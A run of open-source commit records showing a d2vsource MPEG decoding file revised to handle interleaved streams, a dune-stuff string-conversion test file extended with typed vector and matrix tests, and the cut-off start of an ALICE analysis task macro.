avcodec_find_decoder(AV_CODEC_ID_MPEG1VIDEO);\n } else if (dctx->mpeg_type == 2) {\n ret->incodec = avcodec_find_decoder(AV_CODEC_ID_MPEG2VIDEO);\n } else {\n err = \"Invalid MPEG Type.\";\n goto fail;\n }\n\n \/* Allocate the codec's context. *\/\n ret->avctx = avcodec_alloc_context3(ret->incodec);\n if (!ret->avctx) {\n err = \"Cannot allocate AVCodecContext.\";\n goto fail;\n }\n\n \/* Set the IDCT algorithm. *\/\n ret->avctx->idct_algo = dctx->idct_algo;\n\n \/*\n * Enable EMU_EDGE so that we can use buffers that are\n * not padded by 32 pixels.\n *\/\n ret->avctx->flags |= CODEC_FLAG_EMU_EDGE;\n\n \/* Open it. *\/\n av_ret = avcodec_open2(ret->avctx, ret->incodec, NULL);\n if (av_ret < 0) {\n err = \"Cannot open decoder.\";\n goto fail;\n }\n\n \/* Allocate the scratch buffer for our custom AVIO context. *\/\n ret->in = (uint8_t *) av_malloc(32 * 1024);\n if (!ret->in) {\n err = \"Cannot alloc inbuf.\";\n goto fail;\n }\n\n \/* We don't want to hear all the info it has. *\/\n av_log_set_level(AV_LOG_PANIC);\n\n return ret;\n\nfail:\n decodefreep(&ret);\n return NULL;\n}\n\nint decodeframe(int frame_num, d2vcontext *ctx, decodecontext *dctx, AVFrame *out, string& err)\n{\n frame f;\n gop g;\n unsigned int i;\n int o, j, av_ret, offset;\n bool next;\n\n \/* Get our frame and the GOP its in. *\/\n f = ctx->frames[frame_num];\n g = ctx->gops[f.gop];\n\n \/*\n * The offset is how many frames we have to decode from our\n * current position in order to get to the frame we want.\n * The initial offset is obtaiend during the parsing of the\n * D2V file, but it may be more in an open GOP situation,\n * which we handle below.\n *\/\n offset = f.offset;\n\n \/*\n * If we're in a open GOP situation, then start decoding\n * from the previous GOP (one at most is needed), and adjust\n * out offset accordingly.\n *\/\n if (!(g.info & GOP_FLAG_CLOSED) && (f.gop - 1 > 0)) {\n int n = frame_num;\n frame t = ctx->frames[n];\n\n g = ctx->gops[f.gop - 1];\n\n \/*\n * Find the offset of the last frame in the\n * previous GOP and add it to our offset.\n *\/\n while(t.offset)\n t = ctx->frames[--n];\n\n t = ctx->frames[--n];\n\n \/*\n * Subtract one from the offset to compensate for\n * libavcodec delay, I think.\n *\/\n offset += t.offset - 1;\n }\n\n \/*\n * Check if we're decoding linearly, and if the GOP\n * of the current frame and previous frame are either\n * the same, or also linear. If so, we can decode\n * linearly.\n *\/\n next = (dctx->last_gop == f.gop || dctx->last_gop == f.gop - 1) && dctx->last_frame == frame_num - 1;\n\n \/* Skip GOP initialization if we're decoding linearly. *\/\n if (!next) {\n \/* Free out format and AVIO contexts from the previous seek. *\/\n if (dctx->fctx) {\n if (dctx->fctx->pb)\n av_freep(&dctx->fctx->pb);\n\n avformat_close_input(&dctx->fctx);\n }\n\n \/* Seek to our GOP offset and stash the info. *\/\n fseeko(dctx->files[g.file], g.pos, SEEK_SET);\n dctx->orig_file_offset = g.pos;\n dctx->orig_file = g.file;\n dctx->cur_file = g.file;\n\n \/* Allocate format context. *\/\n dctx->fctx = avformat_alloc_context();\n if (!dctx->fctx) {\n err = \"Cannot allocate AVFormatContext.\";\n goto dfail;\n }\n\n \/*\n * Find the demuxer for our input type, and also set\n * the \"filename\" that we pass to libavformat when\n * we open the demuxer with our custom AVIO context.\n *\/\n if (ctx->stream_type == ELEMENTARY) {\n dctx->fctx->iformat = av_find_input_format(\"mpegvideo\");\n *dctx->fakename = \"fakevideo.m2v\";\n } else if (ctx->stream_type == PROGRAM) {\n dctx->fctx->iformat = av_find_input_format(\"mpeg\");\n *dctx->fakename = \"fakevideo.vob\";\n } else if (ctx->stream_type == TRANSPORT) {\n dctx->fctx->iformat = av_find_input_format(\"mpegts\");\n *dctx->fakename = \"fakevideo.ts\";\n } else {\n err = \"Unsupported format.\";\n goto dfail;\n }\n\n \/*\n * Initialize out custom AVIO context that libavformat\n * will use instead of a file. It uses our custom packet\n * reading and seeking functions that transparently work\n * with our indexed GOP offsets and multiple files.\n *\/\n dctx->fctx->pb = avio_alloc_context(dctx->in, 32 * 1024, 0, dctx, read_packet, NULL, file_seek);\n\n \/* Open the demuxer. *\/\n av_ret = avformat_open_input(&dctx->fctx, (*dctx->fakename).c_str(), NULL, NULL);\n if (av_ret < 0) {\n err = \"Cannot open buffer in libavformat.\";\n goto dfail;\n }\n\n \/*\n * Flush the buffers of our codec's context so we\n * don't need to re-initialize it.\n *\/\n avcodec_flush_buffers(dctx->avctx);\n\n \/*\n * Call the abomination function to find out\n * how many streams we have.\n *\/\n avformat_find_stream_info(dctx->fctx, NULL);\n\n \/* Free and re-initialize any existing packet. *\/\n av_free_packet(&dctx->inpkt);\n av_init_packet(&dctx->inpkt);\n }\n\n \/* Set our stream index if we need to. *\/\n if (dctx->stream_index == -1) {\n for(i = 0; i < dctx->fctx->nb_streams; i++) {\n if (dctx->fctx->streams[i]->codec->codec_type == AVMEDIA_TYPE_VIDEO) {\n dctx->stream_index = (int) i;\n break;\n }\n }\n }\n\n \/*\n * We don't need to read a new packet in if we are decoding\n * linearly, since it's still there from the previous iteration.\n *\/\n if (!next)\n av_read_frame(dctx->fctx, &dctx->inpkt);\n\n \/* If we're decoding linearly, there is obviously no offset. *\/\n o = next ? 0 : offset;\n for(j = 0; j <= o; j++) {\n while(dctx->inpkt.stream_index != dctx->stream_index) {\n av_free_packet(&dctx->inpkt);\n av_read_frame(dctx->fctx, &dctx->inpkt);\n }\n\n \/*\n * Loop until we have a whole frame, since there can be\n * multi-packet frames.\n *\/\n av_ret = 0;\n while(!av_ret) {\n AVPacket orig = dctx->inpkt;\n\n \/*\n * Decoding might not consume out whole packet, so\n * stash the original packet info, loop until it\n * is all consumed, and then restore it, it so\n * we can free it properly.\n *\/\n while(dctx->inpkt.size > 0) {\n int r = avcodec_decode_video2(dctx->avctx, out, &av_ret, &dctx->inpkt);\n\n dctx->inpkt.size -= r;\n dctx->inpkt.data += r;\n }\n\n dctx->inpkt = orig;\n av_free_packet(&dctx->inpkt);\n\n av_read_frame(dctx->fctx, &dctx->inpkt);\n }\n }\n\n \/*\n * Stash the frame number we just decoded, and the GOP it\n * is a part of so we can check if we're decoding linearly\n * later on.\n *\/\n dctx->last_gop = f.gop;\n dctx->last_frame = frame_num;\n\n return 0;\n\ndfail:\n avformat_close_input(&dctx->fctx);\n return -1;\n}\n<commit_msg>Account for interleaved streams while decoding frames<commit_after>\/*\n * VapourSynth D2V Plugin\n *\n * Copyright (c) 2012 Derek Buitenhuis\n *\n * This file is part of d2vsource.\n *\n * d2vsource is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * d2vsource is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with d2vsource; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include <iostream>\n#include <string>\n#include <vector>\n\nextern \"C\" {\n#include <libavformat\/avformat.h>\n#include <libavcodec\/avcodec.h>\n#include <stdio.h>\n}\n\n#include \"compat.hpp\"\n#include \"d2v.hpp\"\n#include \"decode.hpp\"\n#include \"gop.hpp\"\n\nusing namespace std;\n\n\/*\n * AVIO seek function to handle GOP offsets and multi-file support\n * in libavformat without it knowing about it.\n *\/\nstatic int64_t file_seek(void *opaque, int64_t offset, int whence)\n{\n decodecontext *ctx = (decodecontext *) opaque;\n\n switch(whence) {\n case SEEK_SET: {\n \/*\n * This mutli-file seek is likely very broken, but I don't\n * really care much, since it is only used in avformat_find_stream_info,\n * which does its job fine as-is.\n *\/\n int64_t real_offset = offset + ctx->orig_file_offset;\n unsigned int i;\n\n for(i = ctx->orig_file; i < ctx->cur_file; i++)\n real_offset -= ctx->file_sizes[i];\n\n while(real_offset > ctx->file_sizes[ctx->cur_file] && ctx->cur_file != ctx->files.size() - 1) {\n real_offset -= ctx->file_sizes[ctx->cur_file];\n ctx->cur_file++;\n }\n\n while(real_offset < 0 && ctx->cur_file) {\n ctx->cur_file--;\n real_offset += ctx->file_sizes[ctx->cur_file];\n }\n\n fseeko(ctx->files[ctx->cur_file], real_offset, SEEK_SET);\n\n return offset;\n }\n case AVSEEK_SIZE: {\n \/*\n * Return the total filesize of all files combined,\n * adjusted for GOP offset.\n *\/\n int64_t size = -(ctx->orig_file_offset);\n unsigned int i;\n\n for(i = ctx->orig_file; i < ctx->file_sizes.size(); i++)\n size += ctx->file_sizes[i];\n\n return size;\n }\n default:\n \/* Shouldn't need to support anything else for our use case. *\/\n cout << \"Unsupported seek!\" << endl;\n return -1;\n }\n}\n\n\/*\n * AVIO packet reading function to handle GOP offsets and multi-file support\n * in libavformat without it knowing about it.\n *\/\nstatic int read_packet(void *opaque, uint8_t *buf, int size)\n{\n decodecontext *ctx = (decodecontext *) opaque;\n int ret;\n\n \/*\n * If we read in less than we got asked for, and we're\n * not on the last file, then start reading seamlessly\n * on the next file.\n *\/\n ret = fread(buf, 1, size, ctx->files[ctx->cur_file]);\n if (ret < size && ctx->cur_file != ctx->files.size() - 1) {\n ctx->cur_file++;\n fseeko(ctx->files[ctx->cur_file], 0, SEEK_SET);\n fread(buf + ret, 1, size - ret, ctx->files[ctx->cur_file]);\n } else {\n return ret;\n }\n\n return size;\n}\n\n\/* Conditionally free all memebers of decodecontext. *\/\nvoid decodefreep(decodecontext **ctx)\n{\n decodecontext *lctx = *ctx;\n unsigned int i;\n\n if (!lctx)\n return;\n\n av_freep(&lctx->in);\n av_free_packet(&lctx->inpkt);\n\n if (lctx->fctx) {\n if (lctx->fctx->pb)\n av_freep(&lctx->fctx->pb);\n\n avformat_close_input(&lctx->fctx);\n }\n\n for(i = 0; i < lctx->files.size(); i++)\n fclose(lctx->files[i]);\n\n lctx->files.clear();\n lctx->file_sizes.clear();\n\n if (lctx->avctx) {\n avcodec_close(lctx->avctx);\n av_freep(&lctx->avctx);\n }\n\n delete lctx->fakename;\n delete lctx;\n\n *ctx = NULL;\n}\n\n\/* Initialize everything we can with regards to decoding *\/\ndecodecontext *decodeinit(d2vcontext *dctx, string& err)\n{\n decodecontext *ret;\n int i, av_ret;\n\n ret = new decodecontext;\n\n \/* Zero the context to aid in conditional freeing later. *\/\n memset(ret, 0, sizeof(*ret));\n\n \/* Holds our \"filename\" we pass to libavformat. *\/\n ret->fakename = new string;\n\n \/* Set our stream index to -1 (uninitialized). *\/\n ret->stream_index = -1;\n\n \/* Open each file and stash its size. *\/\n for(i = 0; i < dctx->num_files; i++) {\n FILE *in;\n int64_t size;\n\n in = fopen(dctx->files[i].c_str(), \"rb\");\n if (!in) {\n err = \"Cannot open file: \";\n err += dctx->files[i];\n goto fail;\n }\n\n fseeko(in, 0, SEEK_END);\n size = ftello(in);\n fseeko(in, 0, SEEK_SET);\n\n ret->file_sizes.push_back(size);\n ret->files.push_back(in);\n }\n\n \/*\n * Register all of our demuxers, parsers, and decoders.\n * Ideally, to create a smaller binary, we only enable the\n * following:\n *\n * Demuxers: mpegvideo, mpegps, mpegts.\n * Parsers: mpegvideo, mpegaudio.\n * Decoders: mpeg1video, mpeg2video.\n *\/\n avcodec_register_all();\n av_register_all();\n\n \/* Set the correct decoder. *\/\n if (dctx->mpeg_type == 1) {\n ret->incodec = avcodec_find_decoder(AV_CODEC_ID_MPEG1VIDEO);\n } else if (dctx->mpeg_type == 2) {\n ret->incodec = avcodec_find_decoder(AV_CODEC_ID_MPEG2VIDEO);\n } else {\n err = \"Invalid MPEG Type.\";\n goto fail;\n }\n\n \/* Allocate the codec's context. *\/\n ret->avctx = avcodec_alloc_context3(ret->incodec);\n if (!ret->avctx) {\n err = \"Cannot allocate AVCodecContext.\";\n goto fail;\n }\n\n \/* Set the IDCT algorithm. *\/\n ret->avctx->idct_algo = dctx->idct_algo;\n\n \/*\n * Enable EMU_EDGE so that we can use buffers that are\n * not padded by 32 pixels.\n *\/\n ret->avctx->flags |= CODEC_FLAG_EMU_EDGE;\n\n \/* Open it. *\/\n av_ret = avcodec_open2(ret->avctx, ret->incodec, NULL);\n if (av_ret < 0) {\n err = \"Cannot open decoder.\";\n goto fail;\n }\n\n \/* Allocate the scratch buffer for our custom AVIO context. *\/\n ret->in = (uint8_t *) av_malloc(32 * 1024);\n if (!ret->in) {\n err = \"Cannot alloc inbuf.\";\n goto fail;\n }\n\n \/* We don't want to hear all the info it has. *\/\n av_log_set_level(AV_LOG_PANIC);\n\n return ret;\n\nfail:\n decodefreep(&ret);\n return NULL;\n}\n\nint decodeframe(int frame_num, d2vcontext *ctx, decodecontext *dctx, AVFrame *out, string& err)\n{\n frame f;\n gop g;\n unsigned int i;\n int o, j, av_ret, offset;\n bool next;\n\n \/* Get our frame and the GOP its in. *\/\n f = ctx->frames[frame_num];\n g = ctx->gops[f.gop];\n\n \/*\n * The offset is how many frames we have to decode from our\n * current position in order to get to the frame we want.\n * The initial offset is obtaiend during the parsing of the\n * D2V file, but it may be more in an open GOP situation,\n * which we handle below.\n *\/\n offset = f.offset;\n\n \/*\n * If we're in a open GOP situation, then start decoding\n * from the previous GOP (one at most is needed), and adjust\n * out offset accordingly.\n *\/\n if (!(g.info & GOP_FLAG_CLOSED) && (f.gop - 1 > 0)) {\n int n = frame_num;\n frame t = ctx->frames[n];\n\n g = ctx->gops[f.gop - 1];\n\n \/*\n * Find the offset of the last frame in the\n * previous GOP and add it to our offset.\n *\/\n while(t.offset)\n t = ctx->frames[--n];\n\n t = ctx->frames[--n];\n\n \/*\n * Subtract one from the offset to compensate for\n * libavcodec delay, I think.\n *\/\n offset += t.offset - 1;\n }\n\n \/*\n * Check if we're decoding linearly, and if the GOP\n * of the current frame and previous frame are either\n * the same, or also linear. If so, we can decode\n * linearly.\n *\/\n next = (dctx->last_gop == f.gop || dctx->last_gop == f.gop - 1) && dctx->last_frame == frame_num - 1;\n\n \/* Skip GOP initialization if we're decoding linearly. *\/\n if (!next) {\n \/* Free out format and AVIO contexts from the previous seek. *\/\n if (dctx->fctx) {\n if (dctx->fctx->pb)\n av_freep(&dctx->fctx->pb);\n\n avformat_close_input(&dctx->fctx);\n }\n\n \/* Seek to our GOP offset and stash the info. *\/\n fseeko(dctx->files[g.file], g.pos, SEEK_SET);\n dctx->orig_file_offset = g.pos;\n dctx->orig_file = g.file;\n dctx->cur_file = g.file;\n\n \/* Allocate format context. *\/\n dctx->fctx = avformat_alloc_context();\n if (!dctx->fctx) {\n err = \"Cannot allocate AVFormatContext.\";\n goto dfail;\n }\n\n \/*\n * Find the demuxer for our input type, and also set\n * the \"filename\" that we pass to libavformat when\n * we open the demuxer with our custom AVIO context.\n *\/\n if (ctx->stream_type == ELEMENTARY) {\n dctx->fctx->iformat = av_find_input_format(\"mpegvideo\");\n *dctx->fakename = \"fakevideo.m2v\";\n } else if (ctx->stream_type == PROGRAM) {\n dctx->fctx->iformat = av_find_input_format(\"mpeg\");\n *dctx->fakename = \"fakevideo.vob\";\n } else if (ctx->stream_type == TRANSPORT) {\n dctx->fctx->iformat = av_find_input_format(\"mpegts\");\n *dctx->fakename = \"fakevideo.ts\";\n } else {\n err = \"Unsupported format.\";\n goto dfail;\n }\n\n \/*\n * Initialize out custom AVIO context that libavformat\n * will use instead of a file. It uses our custom packet\n * reading and seeking functions that transparently work\n * with our indexed GOP offsets and multiple files.\n *\/\n dctx->fctx->pb = avio_alloc_context(dctx->in, 32 * 1024, 0, dctx, read_packet, NULL, file_seek);\n\n \/* Open the demuxer. *\/\n av_ret = avformat_open_input(&dctx->fctx, (*dctx->fakename).c_str(), NULL, NULL);\n if (av_ret < 0) {\n err = \"Cannot open buffer in libavformat.\";\n goto dfail;\n }\n\n \/*\n * Flush the buffers of our codec's context so we\n * don't need to re-initialize it.\n *\/\n avcodec_flush_buffers(dctx->avctx);\n\n \/*\n * Call the abomination function to find out\n * how many streams we have.\n *\/\n avformat_find_stream_info(dctx->fctx, NULL);\n\n \/* Free and re-initialize any existing packet. *\/\n av_free_packet(&dctx->inpkt);\n av_init_packet(&dctx->inpkt);\n }\n\n \/* Set our stream index if we need to. *\/\n if (dctx->stream_index == -1) {\n for(i = 0; i < dctx->fctx->nb_streams; i++) {\n if (dctx->fctx->streams[i]->codec->codec_type == AVMEDIA_TYPE_VIDEO) {\n dctx->stream_index = (int) i;\n break;\n }\n }\n }\n\n \/*\n * We don't need to read a new packet in if we are decoding\n * linearly, since it's still there from the previous iteration.\n *\/\n if (!next)\n av_read_frame(dctx->fctx, &dctx->inpkt);\n\n \/* If we're decoding linearly, there is obviously no offset. *\/\n o = next ? 0 : offset;\n for(j = 0; j <= o; j++) {\n while(dctx->inpkt.stream_index != dctx->stream_index) {\n av_free_packet(&dctx->inpkt);\n av_read_frame(dctx->fctx, &dctx->inpkt);\n }\n\n \/*\n * Loop until we have a whole frame, since there can be\n * multi-packet frames.\n *\/\n av_ret = 0;\n while(!av_ret) {\n AVPacket orig = dctx->inpkt;\n\n \/*\n * Decoding might not consume out whole packet, so\n * stash the original packet info, loop until it\n * is all consumed, and then restore it, it so\n * we can free it properly.\n *\/\n while(dctx->inpkt.size > 0) {\n int r = avcodec_decode_video2(dctx->avctx, out, &av_ret, &dctx->inpkt);\n\n dctx->inpkt.size -= r;\n dctx->inpkt.data += r;\n }\n\n dctx->inpkt = orig;\n\n do {\n av_free_packet(&dctx->inpkt);\n av_read_frame(dctx->fctx, &dctx->inpkt);\n } while(dctx->inpkt.stream_index != dctx->stream_index);\n }\n }\n\n \/*\n * Stash the frame number we just decoded, and the GOP it\n * is a part of so we can check if we're decoding linearly\n * later on.\n *\/\n dctx->last_gop = f.gop;\n dctx->last_frame = frame_num;\n\n return 0;\n\ndfail:\n avformat_close_input(&dctx->fctx);\n return -1;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the dune-stuff project:\n\/\/ https:\/\/users.dune-project.org\/projects\/dune-stuff\n\/\/ Copyright holders: Rene Milk, Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#include \"test_common.hh\"\n\n#include <dune\/stuff\/common\/string.hh>\n#include <dune\/stuff\/common\/logstreams.hh>\n#include <dune\/stuff\/common\/exceptions.hh>\n#include <boost\/lexical_cast.hpp>\n#include <bits\/functexcept.h>\n#include <vector>\n\nusing namespace Dune::Stuff::Common;\nusing namespace std;\n\nTEST(StringTest, ConvertTo) {\n EXPECT_EQ(\"9\",toString(fromString<int>(\"9\")));\n EXPECT_EQ(\"P\",toString(fromString<char>(\"P\")));\n EXPECT_EQ(double(0.1),\n fromString<double>(toString<double>(0.1)));\n EXPECT_EQ(\"0.100006\",\n toString(fromString<double>(\"0.1000055511151231257827021181583404541015625\")));\n EXPECT_EQ(\"1\",toString(fromString<bool>(\"1\")));\n EXPECT_EQ(\"0\",toString(fromString<bool>(\"0\")));\n EXPECT_EQ(\"-1\",toString(fromString<long>(\"-1\")));\n}\n\nTEST(StringTest, Hex) {\n EXPECT_GT(boost::lexical_cast<HexToString<unsigned long> >(cout), 0u);\n EXPECT_EQ(boost::lexical_cast<HexToString<unsigned long> >(\"0x00000F\"), 15u);\n}\n\nTEST(StringTest, ConvertFrom) {\n EXPECT_EQ(9,fromString<int>(\"9\"));\n EXPECT_EQ(0,fromString<int>(\"0\"));\n EXPECT_EQ('p',fromString<char>(toString('p')));\n EXPECT_EQ(-1,fromString<char>(toString<char>(-1)));\n EXPECT_THROW(fromString<char>(\"sd\"),Dune::Stuff::Exceptions::wrong_input_given);\n EXPECT_EQ(true,fromString<bool>(\"1\"));\n EXPECT_EQ(false,fromString<bool>(\"0\"));\n EXPECT_THROW(fromString<int>(\"\"), std::invalid_argument);\n}\n\nTEST(StringTest, Whitespace) {\n EXPECT_EQ(\"---------\", whitespaceify(\"\\t\\t\\t\\t\\t\\t\\t\\t\\t\", '-'));\n}\n\nTEST(StringTest, Tokenizer) {\n const string seps(\" \\t;\");\n const string msg(\"a t\\tkk;;g\");\n const vector<string> tokens_default = {\"a\", \"t\", \"kk\", \"\", \"g\"};\n const vector<string> tokens_compressed = {\"a\", \"t\", \"kk\", \"g\"};\n EXPECT_EQ(tokens_default, tokenize(msg, seps, boost::algorithm::token_compress_off));\n EXPECT_EQ(tokens_compressed, tokenize(msg, seps, boost::algorithm::token_compress_on));\n const string num_msg(\"-1 2;;4\");\n vector<int> numbers_default = {-1,2,0,4};\n vector<int> numbers_compressed = {-1,2,4};\n EXPECT_EQ(numbers_default, tokenize<int>(num_msg, seps, boost::algorithm::token_compress_off));\n EXPECT_EQ(numbers_compressed, tokenize<int>(num_msg, seps, boost::algorithm::token_compress_on));\n}\n\nTEST(StringTest, TimeString) {\n string ts = stringFromTime(-1);\n}\n\nint main(int argc, char** argv)\n{\n test_init(argc, argv);\n return RUN_ALL_TESTS();\n}\n<commit_msg>[test.common_string] add some tests for fromString\/toString<commit_after>\/\/ This file is part of the dune-stuff project:\n\/\/ https:\/\/users.dune-project.org\/projects\/dune-stuff\n\/\/ Copyright holders: Rene Milk, Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#include \"test_common.hh\"\n\n#include <dune\/stuff\/common\/string.hh>\n#include <dune\/stuff\/common\/logstreams.hh>\n#include <vector>\n\n#include <dune\/stuff\/common\/disable_warnings.hh>\n# include <dune\/common\/fmatrix.hh>\n# include <dune\/common\/densematrix.hh>\n# include <dune\/common\/fvector.hh>\n# include <dune\/common\/dynmatrix.hh>\n#include <dune\/stuff\/common\/reenable_warnings.hh>\n#include <dune\/common\/dynvector.hh>\n#include <dune\/common\/densevector.hh>\n\n#include <dune\/stuff\/common\/exceptions.hh>\n#include <dune\/stuff\/common\/fvector.hh>\n#include <dune\/stuff\/common\/fmatrix.hh>\n#include <dune\/stuff\/la\/container\/common.hh>\n#if HAVE_EIGEN\n# include <dune\/stuff\/la\/container\/eigen.hh>\n#endif\n#if HAVE_DUNE_ISTL\n# include <dune\/stuff\/la\/container\/istl.hh>\n#endif\n\nusing namespace Dune::Stuff::Common;\nusing namespace std;\n\n\n\/\/define types and expected values for the typed tests\ntemplate< class MatrixType >\nstruct MatrixStringTestDouble\n : public ::testing::Test\n{\n void check() const\n {\n EXPECT_EQ(\"[1.000000 2.000000; 3.000000 4.000000]\", toString(fromString<MatrixType>(\"[1.0 2; 3.0 4]\")));\n EXPECT_THROW(fromString<MatrixType>(\"[1 2; 3 4]\", 3, 3), Dune::Stuff::Exceptions::configuration_error);\n }\n};\n\ntemplate< class MatrixType >\nstruct MatrixStringTestChar\n : public ::testing::Test\n{\n void check() const\n {\n EXPECT_EQ(\"[1 2; 3 4]\", toString(fromString<MatrixType>(\"[1 2; 3 4]\")));\n EXPECT_THROW(fromString<MatrixType>(\"[1 2; 3 4]\", 3, 3), Dune::Stuff::Exceptions::configuration_error);\n }\n};\n\ntemplate< class VectorType >\nstruct VectorStringTestDouble\n : public ::testing::Test\n{\n void check() const\n {\n EXPECT_EQ(\"[1.000000 2.000000 3.000000]\", toString(fromString<VectorType>(\"[1.0 2 3.0]\")));\n EXPECT_THROW(fromString<VectorType>(\"[1.0 2 3.0]\", 4), Dune::Stuff::Exceptions::configuration_error);\n }\n};\n\ntemplate< class VectorType >\nstruct VectorStringTestInt\n : public ::testing::Test\n{\n void check() const\n {\n EXPECT_EQ(\"[1 2 3]\", toString(fromString<VectorType>(\"[1 2 3]\")));\n EXPECT_THROW(fromString<VectorType>(\"[1 2 3]\", 4), Dune::Stuff::Exceptions::configuration_error);\n }\n};\n\ntypedef testing::Types< std::vector< double >\n , Dune::Stuff::LA::CommonDenseVector< double >\n , Dune::DynamicVector< double >\n , Dune::FieldVector< double, 3 >\n , Dune::Stuff::Common::FieldVector< double, 3 >\n#if HAVE_EIGEN\n , Dune::Stuff::LA::EigenDenseVector< double >\n , Dune::Stuff::LA::EigenMappedDenseVector< double >\n#endif\n#if HAVE_DUNE_ISTL\n , Dune::Stuff::LA::IstlDenseVector< double >\n#endif\n > VectorTypesDouble;\n\ntypedef testing::Types< std::vector< int >\n , Dune::Stuff::LA::CommonDenseVector< int >\n , Dune::DynamicVector< int >\n , Dune::FieldVector< int, 3 >\n , Dune::Stuff::Common::FieldVector< int, 3 >\n#if HAVE_DUNE_ISTL\n , Dune::Stuff::LA::IstlDenseVector< int >\n#endif\n > VectorTypesInt;\n\ntypedef testing::Types< Dune::DynamicMatrix< double >\n , Dune::Stuff::LA::CommonDenseMatrix< double >\n , Dune::Stuff::Common::FieldMatrix< double, 2, 2 >\n , Dune::FieldMatrix< double, 2, 2 >\n#if HAVE_EIGEN\n , Dune::Stuff::LA::EigenDenseMatrix< double >\n#endif\n > MatrixTypesDouble;\n\ntypedef testing::Types< Dune::DynamicMatrix< char >\n , Dune::Stuff::LA::CommonDenseMatrix< char >\n , Dune::Stuff::Common::FieldMatrix< char, 2, 2 >\n , Dune::FieldMatrix< char, 2, 2 >\n#if HAVE_EIGEN\n , Dune::Stuff::LA::EigenDenseMatrix< char >\n#endif\n > MatrixTypesChar;\n\n\/\/ fromString\/toString tests for vector and matrix types\nTYPED_TEST_CASE(MatrixStringTestDouble, MatrixTypesDouble);\nTYPED_TEST(MatrixStringTestDouble, CheckDouble) {\n this->check();\n}\n\nTYPED_TEST_CASE(MatrixStringTestChar, MatrixTypesChar);\nTYPED_TEST(MatrixStringTestChar, CheckChar) {\n this->check();\n}\n\nTYPED_TEST_CASE(VectorStringTestDouble, VectorTypesDouble);\nTYPED_TEST(VectorStringTestDouble, CheckDouble) {\n this->check();\n}\n\nTYPED_TEST_CASE(VectorStringTestInt, VectorTypesInt);\nTYPED_TEST(VectorStringTestInt, CheckInt) {\n this->check();\n}\n\n\/\/ Additional fromString\/toString tests\nTEST(StringTest, ConvertTo) {\n EXPECT_EQ(\"9\",toString(fromString<int>(\"9\")));\n EXPECT_EQ(\"P\",toString(fromString<char>(\"P\")));\n EXPECT_EQ(double(0.1),\n fromString<double>(toString<double>(0.1)));\n EXPECT_EQ(\"0.100006\",\n toString(fromString<double>(\"0.1000055511151231257827021181583404541015625\")));\n EXPECT_EQ(\"1\",toString(fromString<bool>(\"1\")));\n EXPECT_EQ(\"0\",toString(fromString<bool>(\"0\")));\n EXPECT_EQ(\"-1\",toString(fromString<long>(\"-1\")));\n EXPECT_THROW(fromString<std::vector<std::vector<double>>>(\"[[1 2] [3 4]]\"), Dune::Stuff::Exceptions::wrong_input_given);\n}\n\nTEST(StringTest, ConvertFrom) {\n EXPECT_EQ(9,fromString<int>(\"9\"));\n EXPECT_EQ(0,fromString<int>(\"0\"));\n EXPECT_EQ('p',fromString<char>(toString('p')));\n EXPECT_EQ(-1,fromString<char>(toString(char(-1))));\n EXPECT_THROW(fromString<char>(\"sd\"),Dune::Stuff::Exceptions::wrong_input_given);\n EXPECT_EQ(true,fromString<bool>(\"1\"));\n EXPECT_EQ(false,fromString<bool>(\"0\"));\n EXPECT_THROW(fromString<int>(\"\"), std::invalid_argument);\n}\n\n\/\/ Hex, whitespacify, tokenize, stringFromTime tests\nTEST(StringTest, Hex) {\n EXPECT_GT(boost::lexical_cast<HexToString<unsigned long> >(cout), 0u);\n EXPECT_EQ(boost::lexical_cast<HexToString<unsigned long> >(\"0x00000F\"), 15u);\n}\n\n\nTEST(StringTest, Whitespace) {\n EXPECT_EQ(\"---------\", whitespaceify(\"\\t\\t\\t\\t\\t\\t\\t\\t\\t\", '-'));\n}\n\nTEST(StringTest, Tokenizer) {\n const string seps(\" \\t;\");\n const string msg(\"a t\\tkk;;g\");\n const vector<string> tokens_default = {\"a\", \"t\", \"kk\", \"\", \"g\"};\n const vector<string> tokens_compressed = {\"a\", \"t\", \"kk\", \"g\"};\n EXPECT_EQ(tokens_default, tokenize(msg, seps, boost::algorithm::token_compress_off));\n EXPECT_EQ(tokens_compressed, tokenize(msg, seps, boost::algorithm::token_compress_on));\n const string num_msg(\"-1 2;;4\");\n vector<int> numbers_default = {-1,2,0,4};\n vector<int> numbers_compressed = {-1,2,4};\n EXPECT_EQ(numbers_default, tokenize<int>(num_msg, seps, boost::algorithm::token_compress_off));\n EXPECT_EQ(numbers_compressed, tokenize<int>(num_msg, seps, boost::algorithm::token_compress_on));\n}\n\nTEST(StringTest, TimeString) {\n string ts = stringFromTime(-1);\n}\n\n\/\/ Run tests\nint main(int argc, char** argv)\n{\n test_init(argc, argv);\n return RUN_ALL_TESTS();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ AddTaskChargedJetsHadronCF.C\n\nAliAnalysisTaskChargedJetsHadronCF* AddTaskChargedJetsHadronCF(\n UInt_t physSel = 0,\n const char *trackArray = \"tracks\",\n const char *jetArray = \"jets\",\n const char *rhoObject = \"Rho\",\n Double_t jetRadius = 0.2,\n Double_t minJetEta = 0.7,\n Double_t minLeadingHadronPt = 0.0,\n Double_t minJetPt = 0.15,\n Double_t minTrackPt = 0.15,\n Double_t minJetAreaPerc = 0.557,\n const char *suffix = \"\"\n)\n{ \n cout << \" ############ MACRO EXECUTION STARTED: AddTaskChargedJetsHadronCF.C ############\\n\";\n \/\/==============================================================================\n \/\/ Prepare analysis manager, containers, etc.\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr)\n {\n ::Error(\"AddTaskChargedJetsHadronCF\", \"No analysis manager to connect to.\");\n return NULL;\n } \n if (!mgr->GetInputEventHandler())\n {\n ::Error(\"AddTaskChargedJetsHadronCF\", \"This 